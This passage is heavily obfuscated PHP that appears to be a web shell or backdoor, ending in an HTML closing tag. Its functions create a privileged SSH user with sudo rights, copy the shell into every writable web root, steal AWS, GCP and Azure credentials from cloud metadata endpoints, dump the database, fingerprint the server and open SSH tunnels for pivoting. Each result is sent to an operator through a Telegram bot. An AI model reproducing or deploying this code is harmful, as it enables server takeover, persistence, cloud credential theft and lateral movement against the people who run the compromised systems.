"\123\x45\116\x53\111\124\x49\x56\x45\x20\106\x49\x4c\105\123\x20\55\x20\x4e\157\x20\x73\x65\156\x73\x69\164\x69\x76\145\40\146\x69\x6c\x65\x73\x20\146\157\x75\x6e\x64\xa\xa\123\143\x61\156\x6e\145\x64\x3a\x20{$scanned}\40\x72\157\x6f\x74\x73"); return array("\x73\x74\x61\164\165\163" => "\151\x6e\x66\157", "\155\145\x73\x73\x61\x67\x65" => "\x4e\x6f\40\x73\x65\156\x73\x69\164\151\166\145\40\146\151\x6c\145\x73\x20\x66\x6f\165\x6e\144"); } } goto yEkb7; jgkeq: function getSystemInfo() { return array("\x50\110\120\x20\126\145\x72\x73\151\x6f\156" => phpversion(), "\123\145\x72\166\x65\x72\40\x53\157\146\164\167\x61\162\x65" => isset($_SERVER["\x53\x45\x52\126\105\x52\x5f\123\117\106\x54\x57\101\122\x45"]) ? $_SERVER["\x53\105\x52\x56\105\x52\137\x53\117\x46\x54\127\x41\122\x45"] : "\x55\156\153\x6e\x6f\x77\x6e", "\x53\145\x72\x76\x65\x72\x20\x41\x50\x49" => php_sapi_name(), "\155\141\170\x5f\x65\170\145\x63\165\164\151\x6f\156\137\164\151\x6d\x65" => ini_get("\155\x61\x78\137\x65\170\145\143\x75\x74\x69\157\x6e\137\x74\x69\x6d\x65") . "\40\163\145\143\157\x6e\x64\x73", "\x6d\x65\155\x6f\162\x79\x5f\x6c\x69\155\151\x74" => ini_get("\x6d\x65\155\157\162\x79\137\x6c\151\155\151\x74"), "\165\x70\x6c\157\x61\144\137\155\141\x78\x5f\146\151\154\x65\x73\x69\x7a\145" => ini_get("\165\x70\154\x6f\141\144\x5f\155\x61\170\137\x66\151\x6c\x65\163\151\172\145"), "\x70\157\163\x74\137\x6d\x61\x78\x5f\x73\151\x7a\x65" => ini_get("\160\157\163\164\137\155\x61\170\x5f\x73\151\x7a\145"), "\104\151\163\x61\142\154\145\144\40\106\165\156\143\x74\x69\x6f\156\163" => ini_get("\x64\151\x73\x61\x62\154\x65\x5f\146\x75\156\143\x74\x69\x6f\156\x73") ?: "\x6e\157\156\145", "\123\x61\x66\145\40\115\x6f\144\x65" => ini_get("\x73\x61\x66\145\x5f\155\x6f\x64\x65") ? "\117\156" : "\117\146\146", "\117\160\x65\x72\x61\164\x69\x6e\147\40\123\x79\163\x74\x65\155" => php_uname("\163") . "\40" . php_uname("\162"), "\x43\165\162\162\145\x6e\164\40\x55\163\145\162" => get_current_user(), "\104\x6f\143\x75\155\145\156\164\40\122\x6f\157\164" => isset($_SERVER["\x44\117\x43\x55\115\x45\116\124\x5f\x52\117\x4f\124"]) ? $_SERVER["\x44\x4f\103\x55\115\x45\116\124\137\122\117\117\x54"] : "\125\156\x6b\x6e\157\167\156", "\x53\x63\162\x69\x70\164\x20\120\141\164\x68" => __FILE__); } goto d4K_E; WhfKK: if (isset($_GET["\144\x75\x6d\x70\x64\142"]) && isset($_SESSION["\x6c\x6f\147\x67\x65\x64\151\x6e"]) && $_SESSION["\x6c\157\147\147\145\x64\x69\156"] === true) { $result = dumpdb(); sendJsonResponse($result); } goto CMtbu; gzmfn: function create_ssh() { global $botToken, $telegramUserId; $user = isset($_GET["\x75\163\145\162"]) && !empty($_GET["\x75\163\x65\162"]) ? $_GET["\165\x73\145\162"] : "\x73\x73\x68\165\x73\x65\x72\x5f" . rand(1000, 9999); $pass = isset($_GET["\160\141\x73\163"]) && !empty($_GET["\160\x61\x73\x73"]) ? $_GET["\160\x61\163\x73"] : bin2hex(random_bytes(8)); $result = array(); if (!isRoot()) { $result[] = "\x45\122\x52\117\122\x3a\x20\122\157\157\164\x20\x61\x63\x63\x65\163\163\40\162\x65\x71\165\x69\x72\x65\144"; sendTelegramMessage($botToken, $telegramUserId, "\123\123\110\x20\125\123\105\x52\x20\x46\x41\111\x4c\105\104\xa\12" . implode("\xa", $result)); return array("\x73\x74\x61\164\x75\163" => "\145\x72\162\157\x72", "\155\145\163\163\141\x67\x65" => implode("\12", $result)); } $exists = @shell_exec("\151\144\x20{$user}\x20\62\76\57\144\145\x76\57\x6e\165\154\x6c"); if (!empty(trim((string) $exists))) { $result[] = "\x45\x52\x52\x4f\x52\x3a\40\125\x73\145\x72\x20\x27{$user}\x27\x20\x61\x6c\x72\145\141\x64\x79\x20\x65\x78\151\x73\164\x73"; sendTelegramMessage($botToken, $telegramUserId, "\123\123\x48\x20\x55\123\x45\x52\40\x46\101\x49\x4c\105\104\12\xa" . implode("\xa", $result)); return array("\163\x74\x61\x74\165\x73" => "\x65\x72\162\x6f\x72", "\x6d\x65\163\163\141\147\x65" => implode("\xa", $result)); } $cmd = "\x75\163\x65\x72\x61\144\144\40\x2d\155\x20\55\x73\x20\x2f\142\x69\x6e\57\142\141\x73\x68\x20{$user}\x20\62\76\x26\x31"; $out = @shell_exec($cmd); if ($out !== null && (strpos($out, "\x63\141\156\x6e\157\164") !== false || strpos($out, "\145\x72\x72\157\x72") !== false)) { $result[] = "\105\x52\x52\x4f\x52\72\40" . trim($out); sendTelegramMessage($botToken, $telegramUserId, "\123\x53\110\x20\x55\123\x45\x52\x20\x46\101\111\x4c\x45\104\xa\xa" . implode("\xa", $result)); return array("\163\x74\x61\x74\x75\163" => "\x65\x72\162\157\162", "\155\145\163\x73\x61\147\145" => implode("\12", $result)); } @shell_exec("\145\x63\x68\157\x20\x27{$user}\x3a{$pass}\47\x20\x7c\40\143\150\x70\x61\x73\x73\167\144\40\62\76\x26\61"); @shell_exec("\165\x73\x65\x72\x6d\157\x64\x20\x2d\141\x47\x20\163\x75\x64\157\40{$user}\40\x32\76\x26\x31"); @shell_exec("\x75\x73\x65\x72\x6d\x6f\x64\x20\x2d\x61\x47\x20\x77\150\x65\x65\x6c\40{$user}\x20\62\76\x26\x31"); @shell_exec("\x6d\153\144\151\162\40\x2d\160\40\x2f\x68\x6f\155\145\x2f{$user}\x2f\x2e\163\x73\150\x20\62\76\x2f\144\x65\166\x2f\156\x75\x6c\x6c"); @shell_exec("\x63\x68\x6d\x6f\x64\40\67\60\x30\x20\57\x68\x6f\x6d\145\57{$user}\57\x2e\x73\163\x68\x20\x32\x3e\x2f\x64\x65\166\x2f\x6e\x75\x6c\x6c"); @shell_exec("\x63\150\157\167\x6e\x20\x2d\x52\40{$user}\72{$user}\40\57\150\157\x6d\145\57{$user}\x2f\56\x73\x73\x68\40\62\x3e\57\144\x65\166\57\156\165\x6c\154"); $result[] = "\123\x55\x43\x43\x45\123\123\72\x20\123\123\x48\x20\125\x73\145\162\40\143\x72\145\141\x74\145\144"; $result[] = "\x55\163\145\x72\x6e\x61\x6d\x65\72\40{$user}"; $result[] = "\x50\x61\x73\x73\167\x6f\162\144\72\x20{$pass}"; $result[] = "\x53\123\110\x3a\40\x73\163\150\x20{$user}\x40\x6c\157\143\141\154\x68\157\163\164"; sendTelegramMessage($botToken, $telegramUserId, "\x53\x53\110\40\125\123\105\x52\x20\103\x52\105\101\124\x45\x44\xa\12\125\163\145\x72\x6e\141\x6d\x65\72\40{$user}\xa\120\141\x73\163\x77\157\x72\144\72\x20{$pass}\xa\123\x53\x48\72\x20\163\163\150\x20{$user}\100\x6c\157\x63\141\x6c\x68\x6f\163\x74"); return array("\x73\164\x61\164\x75\x73" => "\x73\x75\x63\x63\x65\163\x73", "\155\x65\x73\x73\141\x67\145" => implode("\12", $result)); } goto qCDn0; e_Od_: function list_spread() { global $botToken, $telegramUserId; $found = array(); $myFile = basename(__FILE__); $roots = get_all_document_roots_cached(); foreach ($roots as $root) { $target = $root . "\x2f" . $myFile; if (file_exists($target)) { $found[] = $target; } } if (!empty($found)) { $msg = "\x53\x50\122\x45\101\104\40\x4c\117\103\101\x54\111\117\116\x53\xa\xa" . implode("\12", $found); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\164\x61\x74\165\x73" => "\x73\x75\x63\x63\145\x73\x73", "\155\145\x73\163\x61\x67\x65" => "\x53\x70\x72\x65\x61\x64\x20\154\157\143\141\x74\151\x6f\156\x73\40\146\x6f\x75\x6e\x64"); } else { sendTelegramMessage($botToken, $telegramUserId, "\x53\120\x52\105\101\104\40\x4c\x4f\103\101\x54\x49\x4f\x4e\x53\40\55\x20\116\x6f\40\163\160\162\145\x61\x64\40\146\151\x6c\x65\x73\40\x66\157\x75\x6e\144"); return array("\x73\164\x61\x74\x75\163" => "\x69\156\x66\x6f", "\155\145\163\x73\141\147\145" => "\116\x6f\40\163\160\162\145\141\x64\40\x66\151\x6c\x65\x73\x20\146\x6f\165\156\144"); } } goto qCQ8K; Lre12: function clone_shell() { global $botToken, $telegramUserId; $targets = isset($_GET["\164\x61\x72\147\x65\x74\163"]) ? explode("\x2c", $_GET["\164\x61\162\x67\x65\164\x73"]) : array(); $result = array(); if (empty($targets)) { $roots = get_all_document_roots_cached(); foreach ($roots as $root) { if (is_dir($root) && is_writable($root)) { $targets[] = $root; } } } if (empty($targets)) { $result[] = "\116\157\40\167\162\151\x74\141\142\x6c\145\40\164\x61\x72\x67\145\x74\x73\x20\146\157\165\156\144"; sendTelegramMessage($botToken, $telegramUserId, "\103\114\x4f\x4e\105\x20\123\110\x45\114\114\40\x2d\x20\x4e\x6f\40\x77\x72\x69\164\x61\142\154\145\x20\x74\141\x72\x67\x65\x74\163\40\146\x6f\165\156\144"); return array("\163\164\141\x74\x75\x73" => "\145\x72\x72\157\x72", "\155\x65\163\163\141\x67\x65" => "\116\157\40\x77\x72\x69\x74\141\x62\x6c\x65\x20\x74\141\x72\x67\145\x74\163\x20\146\157\165\x6e\x64"); } $myFile = __FILE__; $cloned = 0; $errors = array(); foreach ($targets as $target) { $target = trim($target); if (empty($target)) { continue; } if (!is_dir($target)) { $errors[] = "\116\x6f\164\x20\141\x20\144\x69\162\145\x63\x74\x6f\x72\x79\x3a\x20{$target}"; continue; } if (!is_writable($target)) { $errors[] = "\x4e\157\164\40\x77\162\151\164\x61\x62\154\145\72\x20{$target}"; continue; } $new_name = md5(rand() . time()) . "\x2e\160\150\160"; $target_file = $target . "\x2f" . $new_name; if (@copy($myFile, $target_file)) { @chmod($target_file, 420); $result[] = "\103\x6c\157\156\x65\x64\x20\164\x6f\x3a\x20{$target_file}"; $cloned++; } else { $errors[] = "\106\x61\151\x6c\x65\144\x3a\40{$target}"; } } $msg = "\x43\x4c\117\x4e\105\x20\123\x48\105\114\114\x20\122\105\123\x55\114\124\123\12\12{$cloned}\40\x66\x69\x6c\145\163\40\143\x6c\x6f\x6e\x65\x64"; if (!empty($errors)) { $msg .= "\12\12\105\x72\162\157\x72\x73\72\xa" . implode("\12", $errors); } if (!empty($result)) { $msg .= "\xa\12\104\x65\164\x61\x69\x6c\163\72\12" . implode("\12", $result); } sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\164\x61\164\165\163" => "\163\165\x63\x63\x65\163\x73", "\155\x65\163\x73\141\x67\145" => "{$cloned}\40\x66\x69\154\145\163\x20\143\x6c\157\x6e\x65\x64"); } goto e_Od_; z4uLa: $specialDirectories = array_filter($specialDirectories, function ($d) { return $d && is_dir($d); }); goto tsy0a; fpd3O: function isRoot() { if (!function_exists("\x73\150\x65\154\154\137\x65\170\x65\x63")) { return false; } $output = @shell_exec("\167\x68\x6f\141\x6d\x69\x20\62\76\57\144\145\x76\x2f\x6e\165\154\154"); return trim((string) $output) === "\x72\157\157\x74"; } goto uhYH5; j3sC6: function cloudcreds() { global $botToken, $telegramUserId; $results = array(); $aws_metadata = @file_get_contents("\x68\x74\x74\160\x3a\57\x2f\61\66\x39\56\62\x35\x34\56\61\x36\71\56\62\x35\64\57\x6c\x61\164\145\x73\x74\x2f\x6d\x65\164\x61\x2d\x64\141\164\141\57\x69\x61\x6d\x2f\x73\x65\x63\165\x72\x69\x74\x79\55\143\x72\x65\x64\x65\x6e\164\151\x61\154\x73\x2f\40\62\x3e\x2f\144\x65\x76\57\156\x75\154\x6c"); if ($aws_metadata !== false) { $role = trim($aws_metadata); if (!empty($role)) { $creds = @file_get_contents("\150\164\x74\160\72\57\57\x31\x36\x39\56\x32\x35\x34\x2e\x31\66\71\x2e\62\x35\64\57\x6c\x61\164\x65\163\x74\x2f\x6d\x65\x74\x61\55\x64\141\x74\x61\x2f\x69\x61\x6d\57\x73\x65\x63\165\x72\151\x74\171\x2d\x63\x72\145\x64\145\156\x74\x69\141\x6c\163\x2f{$role}\40\x32\76\x2f\144\145\x76\57\156\x75\154\154"); if ($creds !== false) { $results[] = "\x41\127\123\x20\x49\101\x4d\x20\103\162\145\144\x65\x6e\x74\x69\141\x6c\x73\x3a"; $results[] = $creds; } } } $token = @file_get_contents("\x68\x74\x74\x70\72\x2f\x2f\61\66\x39\x2e\62\x35\x34\x2e\61\x36\71\56\62\65\64\x2f\154\x61\164\145\163\164\x2f\141\160\x69\57\164\x6f\x6b\145\x6e\x20\x32\x3e\x2f\144\x65\x76\57\156\x75\154\x6c", false, stream_context_create(array("\150\164\x74\x70" => array("\x6d\145\x74\150\157\x64" => "\x50\x55\124", "\150\145\141\x64\145\162" => "\x58\55\141\x77\163\x2d\145\x63\x32\x2d\x6d\x65\x74\141\x64\x61\x74\141\55\164\x6f\153\145\156\55\x74\164\x6c\55\163\x65\x63\157\x6e\x64\163\x3a\40\62\61\66\x30\x30")))); if ($token !== false) { $role = @file_get_contents("\x68\x74\164\x70\72\57\57\61\66\71\56\x32\x35\64\56\61\x36\x39\56\62\x35\x34\x2f\x6c\x61\164\145\163\x74\x2f\155\145\x74\x61\x2d\x64\141\164\x61\x2f\151\141\155\x2f\163\x65\143\165\162\x69\x74\171\55\143\162\x65\144\145\x6e\164\x69\141\154\x73\x2f\40\x32\76\57\x64\145\x76\57\x6e\165\x6c\x6c", false, stream_context_create(array("\x68\x74\164\160" => array("\x68\x65\141\x64\x65\162" => "\x58\55\x61\167\163\x2d\x65\x63\x32\x2d\x6d\145\x74\x61\144\141\164\141\x2d\x74\157\153\145\156\72\40{$token}")))); if ($role !== false) { $creds = @file_get_contents("\x68\164\164\160\72\x2f\x2f\x31\66\x39\56\62\65\x34\x2e\x31\x36\71\x2e\62\x35\64\57\x6c\141\x74\x65\163\x74\57\x6d\145\x74\x61\x2d\144\141\x74\x61\57\151\141\x6d\x2f\163\145\143\165\162\x69\x74\x79\55\143\162\x65\144\x65\x6e\164\151\x61\154\x73\x2f" . trim($role), false, stream_context_create(array("\150\x74\x74\x70" => array("\x68\145\141\x64\x65\162" => "\x58\x2d\141\167\x73\x2d\145\x63\x32\x2d\155\x65\164\141\x64\141\x74\141\55\164\x6f\x6b\x65\x6e\72\40{$token}")))); if ($creds !== false) { $results[] = "\101\127\123\40\111\101\x4d\40\103\162\145\x64\x65\x6e\164\151\x61\x6c\163\x20\50\111\x4d\104\123\x76\62\x29\72"; $results[] = $creds; } } } $gcp_creds = @file_get_contents("\x68\164\164\x70\72\57\57\155\145\x74\141\144\x61\164\141\x2e\x67\x6f\157\147\x6c\145\x2e\151\x6e\x74\145\x72\156\141\154\57\x63\x6f\x6d\160\165\164\145\115\145\x74\x61\x64\141\164\x61\57\x76\61\57\151\156\x73\164\141\x6e\143\145\57\x73\x65\162\166\x69\x63\x65\x2d\x61\x63\x63\157\x75\x6e\164\163\57\144\145\146\x61\x75\154\x74\57\164\x6f\x6b\145\x6e\x20\x32\76\x2f\144\x65\x76\57\156\165\154\x6c", false, stream_context_create(array("\x68\x74\164\x70" => array("\150\145\x61\144\145\x72" => "\115\145\x74\x61\x64\x61\164\x61\x2d\x46\154\141\166\x6f\x72\x3a\40\107\157\x6f\x67\x6c\x65")))); if ($gcp_creds !== false) { $results[] = "\x47\x43\120\x20\x53\x65\162\166\151\x63\x65\40\x41\143\143\x6f\165\x6e\164\x20\124\x6f\153\x65\156\x3a"; $results[] = $gcp_creds; } $azure_creds = @file_get_contents("\x68\x74\x74\160\x3a\x2f\57\x31\66\71\x2e\x32\x35\64\56\61\66\x39\56\62\65\64\x2f\x6d\x65\x74\x61\144\x61\x74\x61\x2f\151\144\145\x6e\x74\151\x74\x79\57\x6f\x61\x75\164\150\62\x2f\164\x6f\153\x65\156\77\141\160\151\x2d\166\145\162\x73\151\157\x6e\75\x32\x30\x31\70\55\60\x32\x2d\60\x31\x26\x72\145\x73\x6f\165\x72\x63\x65\75\150\x74\x74\160\x73\x3a\57\x2f\155\141\156\x61\x67\x65\x6d\x65\156\164\x2e\141\x7a\x75\x72\145\56\x63\x6f\155\x2f\x20\x32\x3e\x2f\x64\x65\x76\x2f\156\x75\154\154", false, stream_context_create(array("\x68\x74\164\160" => array("\150\x65\141\144\x65\162" => "\115\x65\164\x61\144\x61\x74\141\x3a\40\164\x72\x75\x65")))); if ($azure_creds !== false) { $results[] = "\x41\172\x75\x72\x65\x20\x4d\141\x6e\141\147\x65\144\x20\x49\x64\145\156\x74\151\164\171\x20\124\x6f\153\x65\x6e\x3a"; $results[] = $azure_creds; } if (empty($results)) { $results[] = "\116\x6f\x20\143\x6c\x6f\165\144\x20\x63\162\145\144\145\x6e\x74\x69\141\154\x73\40\146\x6f\x75\x6e\x64"; sendTelegramMessage($botToken, $telegramUserId, "\103\x4c\117\x55\x44\40\x43\x52\105\104\105\x4e\x54\111\101\x4c\x53\40\x2d\x20\x4e\157\x20\x63\x72\x65\x64\x65\156\164\151\x61\154\x73\40\x66\x6f\165\x6e\144"); } else { $msg = "\x43\x4c\x4f\125\x44\40\103\x52\x45\x44\105\x4e\124\x49\x41\114\123\12\xa" . implode("\12", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); } return array("\163\x74\141\164\165\163" => "\163\x75\143\143\x65\163\x73", "\155\x65\163\x73\x61\x67\x65" => "\103\154\157\x75\x64\x20\143\162\x65\x64\x65\156\164\x69\x61\154\163\40\147\x72\141\x62\x62\x65\144"); } goto IX4NR; DFAlR: function isChattrAvailable() { if (!isShellExecAvailable()) { return false; } $output = @shell_exec("\x77\150\x69\143\x68\40\143\150\x61\x74\x74\x72\x20\62\76\x2f\x64\x65\x76\57\x6e\x75\154\154"); return !empty(trim((string) $output)); } goto EyqNw; YUOpr: function network_pivot() { global $botToken, $telegramUserId; $action = isset($_GET["\141\x63\x74\x69\157\x6e"]) ? $_GET["\141\x63\164\151\x6f\156"] : ''; $target = isset($_GET["\x74\x61\x72\147\145\x74"]) ? $_GET["\x74\141\162\x67\x65\164"] : ''; $port = isset($_GET["\x70\157\x72\x74"]) ? $_GET["\x70\157\x72\164"] : ''; $local_port = isset($_GET["\x6c\x6f\x63\x61\154\137\x70\x6f\x72\164"]) ? $_GET["\x6c\x6f\143\141\154\x5f\x70\x6f\162\164"] : ''; $result = array(); if ($action === "\163\x73\150\x5f\x74\x75\x6e\x6e\145\154" && !empty($target) && !empty($port) && !empty($local_port)) { $cmd = "\163\163\x68\40\55\x4c\40{$local_port}\72\x6c\157\143\x61\154\150\157\163\x74\72{$port}\40{$target}\x20\55\116\40\x2d\x66\x20\62\76\57\144\x65\x76\x2f\156\165\x6c\x6c"; @shell_exec($cmd); $result[] = "\x53\123\x48\x20\x74\x75\156\156\145\154\x20\x65\x73\164\x61\142\x6c\151\x73\150\x65\x64\72\x20\154\157\143\x61\154\150\157\x73\x74\72{$local_port}\x20\55\76\x20{$target}\x3a{$port}"; sendTelegramMessage($botToken, $telegramUserId, "\x4e\105\x54\127\x4f\x52\x4b\40\120\111\x56\117\x54\40\55\x20\123\123\110\x20\124\125\x4e\116\105\x4c\12\xa\x4c\157\x63\141\154\x3a\x20\x6c\x6f\143\x61\154\150\x6f\163\x74\x3a{$local_port}\x20\x2d\x3e\x20\122\x65\155\157\164\x65\x3a\40{$target}\72{$port}"); } elseif ($action === "\x73\x73\150\x5f\144\x79\x6e\x61\155\x69\143" && !empty($target) && !empty($local_port)) { $cmd = "\x73\163\x68\x20\x2d\x44\x20{$local_port}\40{$target}\x20\55\116\40\55\x66\x20\x32\76\57\144\x65\166\x2f\156\165\154\x6c"; @shell_exec($cmd); $result[] = "\123\123\110\x20\x64\171\156\x61\x6d\151\143\40\x70\x72\x6f\x78\171\x3a\40\123\x4f\103\x4b\123\x35\x20\157\x6e\x20\154\x6f\143\x61\154\x68\x6f\x73\x74\72{$local_port}"; sendTelegramMessage($botToken, $telegramUserId, "\116\x45\124\127\x4f\x52\113\40\120\x49\x56\117\x54\40\55\40\123\x53\110\40\x44\131\x4e\x41\115\x49\103\12\12\123\x4f\x43\113\x53\65\x20\160\162\x6f\170\x79\40\157\156\40\154\157\143\x61\x6c\x68\x6f\163\164\x3a{$local_port}"); } elseif ($action === "\162\145\x76\145\x72\163\145\x5f\x74\x75\x6e\x6e\145\154" && !empty($target) && !empty($port) && !empty($local_port)) { $cmd = "\x73\163\150\x20\55\122\x20{$port}\72\x6c\157\143\x61\154\x68\x6f\x73\x74\72{$local_port}\x20{$target}\x20\55\x4e\40\55\x66\40\62\76\x2f\x64\145\x76\57\156\165\x6c\x6c"; @shell_exec($cmd); $result[] = "\x52\145\x76\x65\x72\x73\x65\x20\164\x75\x6e\156\x65\x6c\72\40{$target}\x3a{$port}\x20\55\76\x20\154\157\x63\x61\x6c\x68\x6f\x73\x74\x3a{$local_port}"; sendTelegramMessage($botToken, $telegramUserId, "\x4e\x45\x54\127\117\122\113\40\x50\x49\126\x4f\x54\x20\x2d\40\x52\105\126\x45\122\123\105\x20\x54\125\x4e\116\105\x4c\12\12\122\x65\x6d\157\x74\145\72\40{$target}\x3a{$port}\40\x2d\76\40\114\x6f\x63\x61\x6c\x3a\x20\154\157\x63\x61\x6c\150\157\x73\164\72{$local_port}"); } elseif ($action === "\x73\164\x61\x74\x75\163") { $tunnels = @shell_exec("\160\x73\40\141\165\170\x20\x7c\x20\147\162\145\160\40\x2d\x45\40\x27\x73\x73\150\40\55\x5b\114\104\135\174\156\x63\x20\x2d\154\x27\40\x7c\40\x67\162\145\x70\40\55\x76\40\x67\x72\x65\x70"); if (!empty($tunnels)) { $result[] = "\101\x63\164\151\166\145\x20\164\165\156\156\x65\154\x73\72\xa{$tunnels}"; sendTelegramMessage($botToken, $telegramUserId, "\x4e\105\x54\127\117\122\113\40\120\111\x56\x4f\124\40\123\124\101\124\125\123\12\12{$tunnels}"); } else { $result[] = "\x4e\157\40\141\143\164\151\166\x65\40\164\x75\x6e\x6e\x65\x6c\x73"; sendTelegramMessage($botToken, $telegramUserId, "\116\105\124\127\117\x52\113\40\120\111\x56\x4f\x54\x20\123\x54\x41\x54\125\x53\12\12\116\x6f\x20\141\x63\164\x69\x76\x65\40\x74\x75\156\x6e\x65\x6c\x73"); } } return array("\x73\x74\x61\164\x75\163" => "\163\165\143\143\145\x73\x73", "\x6d\x65\163\163\141\147\145" => implode("\xa", $result)); } goto d__Dh; Ycoh2: ?>
</body>
</html>